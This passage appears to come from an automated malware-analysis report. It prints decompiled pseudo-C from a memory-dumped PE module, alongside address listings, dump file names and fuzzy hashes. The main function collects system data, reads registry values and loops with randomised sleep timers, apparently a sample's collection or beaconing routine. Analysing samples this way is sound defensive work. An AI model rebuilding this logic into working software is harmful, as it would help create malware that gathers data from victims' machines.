									 *((char*)(_t162 + _t154 * 2 - 1)) = _t117;
									if(_t117 == 0) {
										goto L32;
									}
									_t118 =  *((char*)(_t139 + _t154 * 2));
									 *((char*)(_t162 + _t154 * 2)) = _t118;
									if(_t118 != 0) {
										continue;
									}
									goto L32;
								}
							}
						}
						L32:
						_push(1);
						_push(_t139);
						E6EBA10B0();
						_t174 = _t174 + 8;
					}
					L92:
					 *(_t90 + 4) = 0x40;
					 *_t90 = _t162;
				}
				goto L93;
			}

0x6ebb4ca9
0x6ebb4cac
0x6ebb4cb1
0x6ebb4cb7
0x6ebb4cbb
0x6ebb4cbf
0x6ebb4cc3
0x6ebb508e
0x6ebb5090
0x6ebb4cc9
0x6ebb4ccb
0x6ebb4cce
0x6ebb4ce6
0x6ebb4cea
0x6ebb4cf6
0x6ebb4cfc
0x6ebb4cfc
0x6ebb4d01
0x6ebb4d05
0x6ebb4d0b
0x00000000
0x00000000
0x6ebb4d11
0x6ebb4d16
0x00000000
0x6ebb4d18
0x6ebb4d1e
0x6ebb4d33
0x6ebb4d33
0x00000000
0x6ebb4d20
0x6ebb4d20
0x6ebb4d2a
0x6ebb4d31
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb4d31
0x00000000
0x6ebb4d20
0x6ebb4d1e
0x00000000
0x6ebb4d16
0x6ebb5087
0x6ebb508a
0x00000000
0x6ebb4cd0
0x6ebb4cd2
0x6ebb4cd4
0x6ebb4cd7
0x6ebb4ce1
0x6ebb4ce4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb4ce4
0x6ebb5078
0x6ebb507a
0x6ebb4d38
0x6ebb4d38
0x6ebb4d3a
0x6ebb4d3f
0x6ebb4d41
0x6ebb4d44
0x6ebb4d48
0x6ebb4d4b
0x6ebb4d4d
0x6ebb4d57
0x6ebb4d5d
0x00000000
0x00000000
0x00000000
0x6ebb4d5d
0x6ebb5068
0x6ebb5069
0x6ebb506d
0x00000000
0x6ebb5073
0x00000000
0x6ebb5073
0x00000000
0x6ebb506d
0x6ebb4d5f
0x6ebb4d5f
0x6ebb5080
0x6ebb5080
0x6ebb5080
0x00000000
0x6ebb5024
0x6ebb502f
0x00000000
0x6ebb502f
0x6ebb4cce
0x6ebb4d62
0x6ebb4d64
0x6ebb4d65
0x6ebb4d69
0x6ebb4d6b
0x6ebb4d70
0x6ebb4d73
0x6ebb4d77
0x6ebb4d7a
0x6ebb4d7c
0x6ebb4d86
0x6ebb4d8c
0x00000000
0x00000000
0x00000000
0x6ebb4d8c
0x6ebb5058
0x6ebb5059
0x6ebb505d
0x00000000
0x6ebb5063
0x00000000
0x6ebb5063
0x00000000
0x6ebb505d
0x6ebb4d8e
0x6ebb4d8e
0x6ebb4d8e
0x6ebb4d91
0x6ebb4d96
0x6ebb4df3
0x6ebb5051
0x6ebb4df9
0x6ebb4dfb
0x6ebb4dfe
0x6ebb4e12
0x6ebb4e16
0x6ebb4e22
0x6ebb4e28
0x6ebb4e28
0x6ebb4e2d
0x6ebb4e31
0x6ebb4e37
0x00000000
0x00000000
0x6ebb4e3d
0x6ebb4e42
0x00000000
0x6ebb4e44
0x6ebb4e44
0x6ebb4e4d
0x6ebb4e5e
0x6ebb4e5e
0x00000000
0x6ebb4e4f
0x6ebb4e55
0x6ebb4e5c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb4e5c
0x6ebb4e4f
0x6ebb4e4d
0x00000000
0x6ebb4e42
0x6ebb5042
0x6ebb5044
0x6ebb5047
0x6ebb504a
0x6ebb4e00
0x6ebb4e02
0x6ebb4e04
0x6ebb4e07
0x6ebb4e0d
0x6ebb4e10
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb4e10
0x6ebb4e07
0x6ebb4dfe
0x6ebb4e63
0x6ebb4e67
0x6ebb4e6c
0x6ebb4e6f
0x6ebb4e73
0x6ebb4e79
0x6ebb4e79
0x6ebb4e7d
0x6ebb4e7f
0x6ebb4e84
0x6ebb4e86
0x6ebb4fd1
0x6ebb4fd8
0x6ebb4fda
0x6ebb4fdd
0x6ebb4fe1
0x6ebb5018
0x6ebb4fe3
0x6ebb4fe5
0x6ebb4fe7
0x6ebb4fea
0x6ebb4fee
0x6ebb4ff0
0x6ebb4ff2
0x6ebb4ff2
0x6ebb4ff3
0x6ebb4ff8
0x6ebb4ffe
0x00000000
0x00000000
0x6ebb5000
0x6ebb5004
0x6ebb5009
0x00000000
0x00000000
0x00000000
0x6ebb5009
0x6ebb4ff2
0x6ebb4fee
0x6ebb500b
0x6ebb500b
0x6ebb500d
0x6ebb500e
0x6ebb5013
0x6ebb5013
0x00000000
0x6ebb4e96
0x6ebb4e98
0x6ebb4e9a
0x6ebb4e9e
0x6ebb4ea1
0x6ebb4eb5
0x6ebb4eb9
0x6ebb4ec5
0x6ebb4ecb
0x6ebb4ecb
0x6ebb4ed0
0x6ebb4ed4
0x6ebb4eda
0x00000000
0x00000000
0x6ebb4ee0
0x6ebb4ee5
0x00000000
0x6ebb4ee7
0x6ebb4eed
0x6ebb4efe
0x6ebb4efe
0x00000000
0x6ebb4eef
0x6ebb4ef5
0x6ebb4efc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb4efc
0x6ebb4eef
0x6ebb4eed
0x00000000
0x6ebb4ee5
0x6ebb5038
0x6ebb503b
0x6ebb4ea3
0x6ebb4ea5
0x6ebb4ea7
0x6ebb4eaa
0x6ebb4eb0
0x6ebb4eb3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb4eb3
0x6ebb4eaa
0x6ebb4ea1
0x6ebb4f03
0x6ebb4f08
0x6ebb4f0e
0x6ebb4f13
0x6ebb4f29
0x6ebb4f2d
0x6ebb4f33
0x6ebb4f3b
0x6ebb4f3b
0x6ebb4f49
0x6ebb4f4c
0x6ebb4f50
0x6ebb4f51
0x6ebb4f56
0x6ebb4f59
0x6ebb4f5d
0x6ebb4fa7
0x6ebb4f5f
0x6ebb4f61
0x6ebb4f63
0x6ebb4f66
0x6ebb4f6a
0x6ebb4f6e
0x6ebb4f71
0x6ebb4f73
0x6ebb4f73
0x6ebb4f74
0x6ebb4f79
0x6ebb4f7f
0x00000000
0x00000000
0x6ebb4f81
0x6ebb4f85
0x6ebb4f8a
0x00000000
0x00000000
0x00000000
0x6ebb4f8a
0x6ebb4f8c
0x6ebb4f8f
0x6ebb4f8f
0x6ebb4f6a
0x6ebb4f92
0x6ebb4f94
0x6ebb4f95
0x6ebb4f99
0x6ebb4f9e
0x6ebb4fa2
0x6ebb4fa2
0x6ebb4fae
0x6ebb4fb1
0x6ebb4f15
0x6ebb4f15
0x6ebb4f15
0x6ebb4fb5
0x6ebb4fb7
0x6ebb4fbd
0x6ebb4fbd
0x6ebb4fc0
0x6ebb4fc1
0x6ebb4fc5
0x00000000
0x00000000
0x6ebb4fcd
0x6ebb4fbb
0x6ebb4fbc
0x00000000
0x6ebb4fbc
0x00000000
0x6ebb4fcd
0x6ebb5032
0x6ebb5032
0x6ebb4fb5
0x6ebb4d98
0x6ebb4d9a
0x6ebb4d9c
0x6ebb4d9e
0x6ebb4da6
0x6ebb4da8
0x6ebb4dab
0x6ebb4daf
0x6ebb4de9
0x6ebb4db1
0x6ebb4db3
0x6ebb4db5
0x6ebb4db8
0x6ebb4dbc
0x6ebb4dbe
0x6ebb4dc0
0x6ebb4dc0
0x6ebb4dc1
0x6ebb4dc6
0x6ebb4dcc
0x00000000
0x00000000
0x6ebb4dce
0x6ebb4dd2
0x6ebb4dd7
0x00000000
0x00000000
0x00000000
0x6ebb4dd7
0x6ebb4dc0
0x6ebb4dbc
0x6ebb4dd9
0x6ebb4dd9
0x6ebb4ddb
0x6ebb4ddc
0x6ebb4de1
0x6ebb4de1
0x6ebb501b
0x6ebb501b
0x6ebb5022
0x6ebb5022
0x00000000

Strings

, xrefs: 6EBB4CAC

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3688684798
Opcode ID: a0a701583f304429a7dd2ba0e9de694ad7dc86a4cf2555e5f81726f3dee30ddb
Instruction ID: bef344b30af23a91f05b46cc57f438ab941a247c758f1f04946bc614b4f83b33
Opcode Fuzzy Hash: a0a701583f304429a7dd2ba0e9de694ad7dc86a4cf2555e5f81726f3dee30ddb
Instruction Fuzzy Hash: 2BB13A7591A7D34AE75549BDC4A033A7E93FFC2200F19876CD8E54B296FE7188438282

Uniqueness

Uniqueness Score: -1.00%

Function 6EB96AD0, Relevance: .9, Instructions: 932
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E6EB96AD0(void* __ebx, char __ecx, char __edx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				char _v120;
				char _v176;
				char _v192;
				char _v216;
				char _v240;
				char _v244;
				char _v248;
				intOrPtr _v252;
				char _v260;
				intOrPtr _v264;
				char _v268;
				char _v276;
				char _v280;
				intOrPtr _v284;
				char _v304;
				char _v312;
				char _v320;
				char _v328;
				char _v340;
				char _v344;
				char _v348;
				signed int _v352;
				signed int _v360;
				short _v364;
				char _v368;
				char _v376;
				void* _v380;
				char _v404;
				char _v408;
				signed int _v420;
				char _v440;
				intOrPtr _v448;
				char _v452;
				char _v456;
				char _v464;
				char _v468;
				signed int _v472;
				char _v476;
				char _v480;
				char _v484;
				char _v488;
				char _v508;
				char _v512;
				char _v516;
				char _v524;
				char _v528;
				char _v532;
				void* _v540;
				char _v552;
				char _v556;
				signed int _v560;
				char _v564;
				char _v568;
				char _v572;
				void* _v576;
				char _v580;
				signed int _v584;
				char _v588;
				signed int _v592;
				void* _v596;
				intOrPtr _v600;
				intOrPtr _v604;
				signed int _v608;
				void* _v612;
				char _v616;
				intOrPtr _v620;
				intOrPtr _v624;
				signed int* _v628;
				signed int _v632;
				signed int _v636;
				char _v640;
				signed int _v644;
				char _v648;
				char _v652;
				signed int _v656;
				signed int _v660;
				char _v664;
				char _v668;
				char _v672;
				intOrPtr _v676;
				void* _v680;
				char _v684;
				intOrPtr* _v688;
				char _v692;
				void* _v696;
				void* _v700;
				void* _v704;
				char _v708;
				void* _v712;
				char _v720;
				void* _v728;
				void* _v732;
				void* _v736;
				void* _v740;
				void* _v744;
				void* _v748;
				void* _v752;
				void* _v760;
				void* _v764;
				void* _v768;
				void* _v772;
				void* _v776;
				void* _v780;
				void* _v788;
				void* _v792;
				void* _v796;
				void* _v800;
				void* _v804;
				void* _v808;
				void* _v812;
				void* _v816;
				void* _v824;
				void* _v836;
				void* _v840;
				void* _v844;
				void* _v848;
				void* _v852;
				void* _v948;
				void* _v956;
				signed int _t329;
				signed int _t330;
				intOrPtr _t375;
				intOrPtr* _t382;
				intOrPtr _t389;
				void* _t400;
				signed int _t416;
				signed int _t417;
				void* _t444;
				void* _t445;
				void* _t446;
				void* _t449;
				void* _t454;
				signed int _t467;
				signed int _t476;
				signed int _t478;
				void* _t497;
				signed int _t506;
				signed int _t507;
				signed int _t519;
				void* _t521;
				signed int _t529;
				signed int _t535;
				signed int _t547;
				signed int _t549;
				signed int _t551;
				signed int _t561;
				signed int _t565;
				signed int _t567;
				signed int _t579;
				signed int _t591;
				signed int _t592;
				signed short* _t594;
				signed int _t600;
				void* _t602;
				intOrPtr* _t603;
				void* _t610;
				signed int _t755;
				signed int _t804;
				signed int* _t808;
				void* _t810;
				signed int _t849;
				signed int _t850;
				signed int _t853;
				signed int* _t855;
				signed int _t860;
				signed int _t861;
				signed int* _t862;
				signed int _t864;
				signed int _t867;
				intOrPtr _t868;
				void* _t871;
				signed int _t872;
				signed int _t874;
				signed int _t876;
				signed int _t878;

				_t874 = _t876;
				_push(__esi);
				_push(__edi);
				_push(__ebx);
				_t878 = (_t876 & 0xfffffff0) - 0x274;
				_v192 = __ecx;
				_v640 = __edx;
				_t867 =  *0x6ebcb000; // 0xffffffff
				_v644 = (E6EBA3930(__ebx, 0, __edi, _t867))[2] & 0x000000ff;
				_t855 = E6EBA3930(__ebx, 0, __edi, _t867);
				_t329 =  *0x6ebcb260; // 0x17a1f58
				_v636 = _t329;
				if(_t329 == 0) {
					_push(0x10);
					_t330 = E6EBA1030();
					_v636 = _t330;
					_t878 = _t878 + 4;
					__eflags = _v636;
					if(_v636 == 0) {
						_v636 = 0;
					} else {
						_t853 = _t330;
						 *((intOrPtr*)(_t853 + 4)) = 0;
						 *((intOrPtr*)(_t853 + 8)) = 0;
						 *((intOrPtr*)(_t853 + 0xc)) = 0;
					}
					_t808 = _v636;
					 *0x6ebcb260 = _t808;
					 *_t808 =  *0x6ebcb024 & 0x0000ffff;
					__eflags = ( *0x6ebcb02b & 0x000000ff) - 0xa;
					if(( *0x6ebcb02b & 0x000000ff) <= 0xa) {
					}
					__eflags =  *0x6ebcb02b & 0x000000ff;
					if(( *0x6ebcb02b & 0x000000ff) > 0) {
						__eflags = 0;
						_v584 = _t867;
						_t872 = 0;
						do {
							_v360 = 0;
							_t850 = _t872 + _t872 * 2;
							_v368 =  *((intOrPtr*)(0x6ebcb02c + _t850 * 2));
							_v364 =  *(0x6ebcb030 + _t850 * 2) & 0x0000ffff;
							E6EBC3100( &_v344,  &_v368, _t874,  &_v344);
							_t804 =  *0x6ebcb260; // 0x17a1f58
							_t322 = _t804 + 4; // 0x4
							E6EBB37E0(_t804 + 4, _v348,  *_t322);
							E6EBB0B10( &_v344);
							_t872 = _t872 + 1;
							__eflags = _t872 - ( *0x6ebcb02b & 0x000000ff);
						} while (_t872 < ( *0x6ebcb02b & 0x000000ff));
						_t579 =  *0x6ebcb260; // 0x17a1f58
						_t867 = _v584;
						_v636 = _t579;
					}
				}
				_t810 =  !=  ? 0x10 : _t855[3] & 0x000000ff;
				_t610 =  !=  ? 0 : 0x20;
				_t585 =  !=  ? _t810 + _t610 + 0x40 : _t810 + 0x20;
				_t813 =  <=  ? 0 : 0x80;
				_t586 = ( !=  ? _t810 + _t610 + 0x40 : _t810 + 0x20) + ( <=  ? 0 : 0x80);
				_t587 = ( !=  ? _t810 + _t610 + 0x40 : _t810 + 0x20) + ( <=  ? 0 : 0x80) | _t855[2] & 0x000000ff;
				_t588 = (( !=  ? _t810 + _t610 + 0x40 : _t810 + 0x20) + ( <=  ? 0 : 0x80) | _t855[2] & 0x000000ff) << 8;
				_t589 = (( !=  ? _t810 + _t610 + 0x40 : _t810 + 0x20) + ( <=  ? 0 : 0x80) | _t855[2] & 0x000000ff) << 0x00000008 | _t855[1] << 0x00000010;
				_t590 = (( !=  ? _t810 + _t610 + 0x40 : _t810 + 0x20) + ( <=  ? 0 : 0x80) | _t855[2] & 0x000000ff) << 0x00000008 | _t855[1] << 0x00000010 |  *_t855;
				E6EBB06A0( &_v240, _t874, 0);
				_push(0);
				E6EBB9350( &_v304);
				E6EBBB360( &_v240);
				E6EBB0B30( &_v248, 0, _v240);
				E6EBB0B10( &_v244);
				_v120 = E6EBB6040(_v252, 0x7fffffff);
				E6EBB9710( &_v312,  &_v120, 1);
				_v652 = _v260;
				E6EBB9710( &_v320, _v652, E6EBB6040(_v260, 0x7fffffff));
				E6EBBBA80((( !=  ? _t810 + _t610 + 0x40 : _t810 + 0x20) + ( <=  ? 0 : 0x80) | _t855[2] & 0x000000ff) << 0x00000008 | _t855[1] << 0x00000010 |  *_t855,  &_v312, _t855, _t867, _t874);
				_push(0);
				_push( &_v260);
				E6EBB9EB0((( !=  ? _t810 + _t610 + 0x40 : _t810 + 0x20) + ( <=  ? 0 : 0x80) | _t855[2] & 0x000000ff) << 0x00000008 | _t855[1] << 0x00000010 |  *_t855,  &_v312, _t855, _t867);
				E6EBB1240( &_v268,  &_v260);
				E6EBB0B30( &_v280, 0x7fffffff, _v264);
				E6EBB0B10( &_v268);
				E6EBB0B10( &_v276);
				E6EBB9510( &_v328);
				_v676 = _v284;
				E6EBB9710( &_v344, _v676, E6EBB6040(_v284, 0x7fffffff));
				_v216 = E6EBA0B50( *_v688);
				E6EBB9710( &_v352,  &_v216, 2);
				_v248 = E6EBA0B60((( !=  ? _t810 + _t610 + 0x40 : _t810 + 0x20) + ( <=  ? 0 : 0x80) | _t855[2] & 0x000000ff) << 0x00000008 | _t855[1] << 0x00000010 |  *_t855);
				E6EBB9710( &_v360,  &_v248, 4);
				_v248 = _v708;
				E6EBB9710( &_v368,  &_v248, 4);
				_t822 =  &_v176;
				_v176 = _v720;
				E6EBB9710( &_v376,  &_v176, 1);
				_t886 =  *0x6ebcb264;
				if( *0x6ebcb264 == 0) {
					 *0x6ebcb264 = 1;
					E6EBB06A0(_t878 + 0xe0, _t874, 0);
					E6EBB0D40(E6EBB0D40(E6EBB0D40( &_v440, 0x2e), 0x4b), 0x42);
					E6EBA8810( &_v532, 0);
					E6EBA96D0(E6EBA96D0(E6EBA96D0(E6EBA96D0(_t878 + 0x90, 0x20), 0x28), 0x4b), 0x42);
					asm("movups xmm0, [0x6ebc9400]");
					_t375 =  *0x6ebc9410; // 0x13401ec1
					asm("movups [esp], xmm0");
					_v676 = _t375;
					_push(0);
					E6EBB9350( &_v568);
					_v628 = _t855;
					_t591 = 0;
					__eflags = 0;
					_v636 = _t867;
					do {
						E6EBB9670( &_v572, E6EBB9650( &_v572) + 4);
						_t868 =  *((intOrPtr*)(_t878 + _t591 * 4));
						_t382 = E6EBB9640( &_v572, E6EBB9650( &_v572) + 0xfffffffc);
						_t591 = _t591 + 1;
						 *_t382 = _t868;
						__eflags = _t591 - 5;
					} while (_t591 < 5);
					_t592 = 0;
					__eflags = 0;
					_t857 = _v592;
					_t869 = _v600;
					_v568 = 0;
					_v564 = 0;
					_v560 = 0;
					do {
						_push(0);
						E6EBBC550(_t592,  &_v556, _t869, _t874, _t878 + 0x84, 0x80000002);
						E6EBBCE00(_t592,  &_v568, _t857, _t869, _t874,  &_v340);
						E6EBA8810( &_v472, 0);
						E6EBA8810( &_v468, 0);
						__eflags = _v352;
						if(_v352 > 0) {
							_v604 = _t592;
							_t871 = 0;
							__eflags = 0;
							do {
								_t603 = E6EBB7600(_t878 + 0x150, _t871);
								_t535 = E6EBB1000(_t603);
								__eflags = _t535;
								if(_t535 == 0) {
									__eflags = E6EBB1460(_t603, _v448);
									if(__eflags == 0) {
										_push(_v560);
										_push(0);
										E6EBBBF30( &_v652, __eflags,  *_t603);
										_t857 =  &_v644;
										E6EBBC580( &_v664, _t822,  &_v644, 0xffa790dd);
										E6EBBCAE0( &_v672,  &_v644, _v652);
										E6EBB0B10( &_v644);
										E6EBAF6E0( &_v652,  &_v644);
										E6EBA8CC0(_t878 + 0xd0, _v648);
										E6EBA8CA0( &_v652);
										E6EBA8CA0( &_v660);
										_t547 = E6EBA9DC0(_t878 + 0xcc);
										__eflags = _t547;
										if(_t547 != 0) {
											L70:
											E6EBA8CA0( &_v648);
											__eflags = _v652;
											if(_v652 != 0) {
												_t822 = _v656;
												__eflags = _t822;
												if(_t822 == 0) {
													L74:
													_t549 = 1;
												} else {
													__eflags = _t822 - 0xffffffff;
													if(_t822 == 0xffffffff) {
														goto L74;
													} else {
														_t549 = 0;
													}
												}
												__eflags = _t549;
												if(_t549 == 0) {
													E6EBBBF00(_t822);
												}
											}
											_v656 = 0;
											goto L38;
										} else {
											_t551 = E6EBAA330( &_v472, _t871,  *((intOrPtr*)(_t878 + 0x8c)));
											__eflags = _t551;
											if(_t551 == 0) {
												_t857 = _t878;
												E6EBBC580( &_v660, _t822, _t878, 0x494c03d0);
												E6EBBCAE0( &_v668,  &_v640, _v684);
												E6EBB0B10(_t878);
												E6EBAF6E0( &_v648,  &_v640);
												E6EBA8CC0( &_v484, _v644);
												E6EBA8CA0( &_v648);
												E6EBA8CA0( &_v656);
												_t561 = E6EBA9DC0( &_v488);
												__eflags = _t561;
												if(_t561 == 0) {
													E6EBA96D0(E6EBB0220(E6EBA96D0(E6EBA96D0( &_v472, 0x20), 0x28), _v472, 0), 0x29);
												}
												_t822 = _v472;
												E6EBA7FA0( &_v668);
												E6EBB0B30(_t603, _v472, _v668);
												E6EBB0B10( &_v672);
												_push( *_t603);
												_t565 = E6EBB8820(_t603,  &_v588, _t857, _t871);
												__eflags = _t565;
												if(_t565 == 0) {
													E6EBB37E0( &_v588,  *_t603, _v588);
												}
												E6EBA8CA0( &_v652);
												__eflags = _v656;
												if(_v656 != 0) {
													_t822 = _v660;
													__eflags = _t822;
													if(_t822 == 0) {
														L86:
														_t567 = 1;
													} else {
														__eflags = _t822 - 0xffffffff;
														if(_t822 == 0xffffffff) {
															goto L86;
														} else {
															_t567 = 0;
														}
													}
													__eflags = _t567;
													if(_t567 == 0) {
														E6EBBBF00(_t822);
													}
												}
												_v660 = 0;
												goto L38;
											} else {
												goto L70;
											}
										}
										goto L99;
									}
								}
								L38:
								_t871 = _t871 + 1;
								__eflags = _t871 -  *((intOrPtr*)(_t878 + 0x14c));
							} while (_t871 <  *((intOrPtr*)(_t878 + 0x14c)));
							_t592 = _v604;
						}
						_t389 = _v600;
						__eflags =  *((char*)(_t389 + 0xb)) - 0x28;
						if( *((char*)(_t389 + 0xb)) < 0x28) {
							_t867 = _v608;
							E6EBA8CA0( &_v456);
							E6EBA8CA0( &_v464);
							E6EBB7560(_t878 + 0x14c, _t857, _t867);
							E6EBA8CA0( &_v552);
							__eflags = _v556;
							if(_v556 != 0) {
								_t849 = _v560;
								__eflags = _t849;
								if(_t849 == 0) {
									L64:
									_t519 = 1;
								} else {
									__eflags = _t849 - 0xffffffff;
									if(_t849 == 0xffffffff) {
										goto L64;
									} else {
										_t519 = 0;
									}
								}
								__eflags = _t519;
								if(_t519 == 0) {
									E6EBBBF00(_t849);
								}
							}
							_v560 = 0;
						} else {
							_t521 = E6EBB9650(_t878 + 0x7c);
							_t190 = _t521 + 4; // 0x4
							E6EBB9670(_t878 + 0x80, _t190);
							_t857 = _t521 + 0xfffffffc;
							__eflags = _t857;
							if(_t857 > 0) {
								_t869 = E6EBB9640(_t878 + 0x80, 8);
								E6EBA0BC0(_t531, E6EBB9640(_t878 + 0x80, 4), _t857);
								_t878 = _t878 + 0xc;
							}
							 *((intOrPtr*)(E6EBB9640(_t878 + 0x80, 4))) = 0xd2b02901;
							E6EBA8CA0(_t878 + 0xd4);
							E6EBA8CA0( &_v468);
							E6EBB7560( &_v340, _t857, _t869);
							E6EBA8CA0( &_v556);
							__eflags = _v560;
							if(_v560 != 0) {
								_t822 = _v560;
								__eflags = _t822;
								if(_t822 == 0) {
									L47:
									_t529 = 1;
								} else {
									__eflags = _t822 - 0xffffffff;
									if(_t822 == 0xffffffff) {
										goto L47;
									} else {
										_t529 = 0;
									}
								}
								__eflags = _t529;
								if(_t529 == 0) {
									E6EBBBF00(_t822);
								}
							}
							goto L50;
						}
						L52:
						E6EB9ABE0(_t878 + 0x94, 0);
						E6EBA83B0( &_v512);
						E6EBB6EC0(_t878 + 0x9c, _v512, 0);
						E6EBB0B10(_t878 + 0x9c);
						_t400 = E6EBB37E0(E6EBB88F0( &_v584), _v528,  *_t399);
						_t858 = _t878 + 0xa4;
						E6EBB7FC0(_t400, _t878 + 0xa4, 0x3b);
						_v452 = E6EBA0B60(E6EBB6040(_v528, 0x7fffffff));
						E6EBB9710( &_v348,  &_v452, 4);
						E6EBB9710(_t878 + 0x160,  *((intOrPtr*)(_t878 + 0xa4)), E6EBB6040( *((intOrPtr*)(_t878 + 0xa4)), 0x7fffffff));
						E6EBB0B10(_t878 + 0xa4);
						E6EBB0B10( &_v560);
						E6EBB7560( &_v616, _t878 + 0xa4, _t867);
						E6EBB06A0(_t878 + 0xb0, _t874, 0);
						E6EBB06A0( &_v532, _t874, 0);
						E6EBB06A0( &_v528, _t874, 0);
						_push(0);
						E6EBB9350( &_v644);
						 *((intOrPtr*)(_t878 + 0xe4)) = 0;
						 *((intOrPtr*)(_t878 + 0xe8)) = 0;
						_v488 = 0;
						_t416 = E6EBA15C0(0xa1310f65, 0xf95c938e);
						__eflags = _t416;
						if(_t416 == 0) {
							_t594 = 0;
							__eflags = 0;
							_t417 =  *0x00000000 & 0x0000ffff;
							__eflags = _t417;
							while(_t417 != 0) {
								__eflags = _t417 - 0x3d;
								if(_t417 != 0x3d) {
									E6EBA83B0( &_v404);
									E6EBB37E0(_t878 + 0xec, _v404,  *((intOrPtr*)(_t878 + 0xe4)));
									E6EBB0B10(_t878 + 0x10c);
								}
								_t594 = _t594 + 2 + E6EBB0180(_t594, 0x7fffffff, _t867) * 2;
								_t417 =  *_t594 & 0x0000ffff;
								__eflags = _t417;
							}
							E6EBB7FC0(E6EBB88F0(E6EBB3EC0(_t878 + 0xe4)),  &_v476, 0xa);
							E6EBB6EC0( &_v508, _v484, 0);
							E6EBB0B10( &_v476);
							E6EBB7560(_t878 + 0xe4, _t858, _t867);
							_v440 = E6EBA0B60(E6EBB6040(_v516, 0x7fffffff));
							E6EBB9710( &_v344,  &_v440, 4);
							E6EBB9710( &_v352, _v524, E6EBB6040(_v524, 0x7fffffff));
							E6EBB9510( &_v628);
							E6EBB0B10( &_v516);
							E6EBB0B10( &_v524);
							E6EBB0B10( &_v532);
							E6EBB9510( &_v580);
							E6EBA8CA0( &_v564);
							E6EBB0B10( &_v484);
							goto L2;
						} else {
							asm("int3");
							return _t416;
						}
						goto L99;
						L50:
						_t592 = _t592 + 1;
						_v560 = 0;
						__eflags = _t592 - 2;
					} while (_t592 < 2);
					_t867 = _v608;
					goto L52;
				} else {
					L2:
					E6EB9ABE0( &_v260, 2);
					E6EBB1EB0( &_v260, _t886,  &_v244, 0x3b);
					E6EBB0B10( &_v268);
					_push(E6EBB9650(_t878 + 0x158));
					E6EBB9350( &_v304);
					_v620 =  *((intOrPtr*)(_t878 + 0x1ac));
					_v624 = E6EBB6040( *((intOrPtr*)(_t878 + 0x1ac)), 0x7fffffff);
					_t444 = E6EBB9640( &_v340, 0);
					_t445 = E6EBB9650( &_v344);
					_t446 = E6EBB9640( &_v312, 0);
					_push(0);
					_push(0);
					_push(_t446);
					_push(_t445);
					_push(_t444);
					_t832 = _v632;
					E6EBBE5D0(_v628, _v632, _t867);
					_t449 = E6EBBA190(_t878 + 0x178);
					_push(0);
					E6EBB9350(_t878 + 0x1e4);
					_v244 = E6EBA0B60(_t449);
					E6EBB9710(_t878 + 0x1ec,  &_v244, 4);
					_t454 = E6EBB9640( &_v348, 0);
					E6EBB9710( &_v244, _t454, E6EBB9650( &_v352));
					E6EBB9510( &_v360);
					E6EBB0B10(_t878 + 0x1ac);
					E6EBB9510(_t878 + 0x158);
					E6EBB0B10(_t878 + 0x194);
					_push(0);
					E6EBB9350(_t878 + 0x1f8);
					_push(0);
					E6EBB9350( *((intOrPtr*)(_t878 + 0x1c8)));
					_t860 =  *0x6ebcb260; // 0x17a1f58
					if(_t860 == 0) {
						_push(0x10);
						_t861 = E6EBA1030();
						_t878 = _t878 + 4;
						__eflags = _t861;
						if(_t861 == 0) {
							_t861 = 0;
							__eflags = 0;
						} else {
							 *(_t861 + 4) = 0;
							 *((intOrPtr*)(_t861 + 8)) = 0;
							 *((intOrPtr*)(_t861 + 0xc)) = 0;
						}
						 *_t861 =  *0x6ebcb024 & 0x0000ffff;
						_t832 =  *0x6ebcb02b & 0x000000ff;
						 *0x6ebcb260 = _t861;
						__eflags = ( *0x6ebcb02b & 0x000000ff) - 0xa;
						if(( *0x6ebcb02b & 0x000000ff) <= 0xa) {
						}
						__eflags =  *0x6ebcb02b & 0x000000ff;
						if(( *0x6ebcb02b & 0x000000ff) > 0) {
							_t864 = 0;
							__eflags = 0;
							_t602 = _t878 + 0x134;
							do {
								 *(_t878 + 0x128) = 0;
								_t507 = _t864 + _t864 * 2;
								_t832 =  *(0x6ebcb02c + _t507 * 2);
								_v420 =  *(0x6ebcb02c + _t507 * 2);
								 *((short*)(_t878 + 0x124)) =  *(0x6ebcb030 + _t507 * 2) & 0x0000ffff;
								E6EBC3100(_t602,  &_v420, _t874, _t602);
								_t755 =  *0x6ebcb260; // 0x17a1f58
								_t157 = _t755 + 4; // 0x4
								E6EBB37E0(_t755 + 4, _v404,  *_t157);
								E6EBB0B10(_t602);
								_t864 = _t864 + 1;
								__eflags = _t864 - ( *0x6ebcb02b & 0x000000ff);
							} while (_t864 < ( *0x6ebcb02b & 0x000000ff));
							_t861 =  *0x6ebcb260; // 0x17a1f58
						}
					}
					_t862 = _t861 + 4;
					E6EBA22A0(0x3e8, _t832);
					_t600 = 0;
					_t888 = _t867 - 0xffffffff;
					if(_t867 == 0xffffffff) {
						L11:
						_t467 = _t600;
						asm("cdq");
						_t833 = _t467 %  *_t862;
						_t867 = _t467 %  *_t862;
					}
					E6EBC31A0(_t600, _t878 + 0x224, _t862);
					 *(_t878 + 0x23c) = 1;
					 *((intOrPtr*)(_t878 + 0x264)) = 0x12c;
					if(E6EBC3370(_t600, _t878 + 0x228, _t862, _t867, _t888, E6EBB7600(_t862, _t867)) == 0) {
						L5:
						E6EBC3260(_t878 + 0x224, _t833, _t867);
						_t600 = _t600 + 1;
						_t888 = _t600;
						if(_t600 != 0) {
							_t476 = _t600;
							asm("cdq");
							__eflags = _t476 %  *_t862;
							if(_t476 %  *_t862 != 0) {
								_t837 = 0xb4;
								_t478 = E6EBBE170(0x78, 0xb4);
							} else {
								_t837 = 0x168;
								_t478 = E6EBBE170(0xf0, 0x168);
							}
							__eflags = _t478 * 0x3e8;
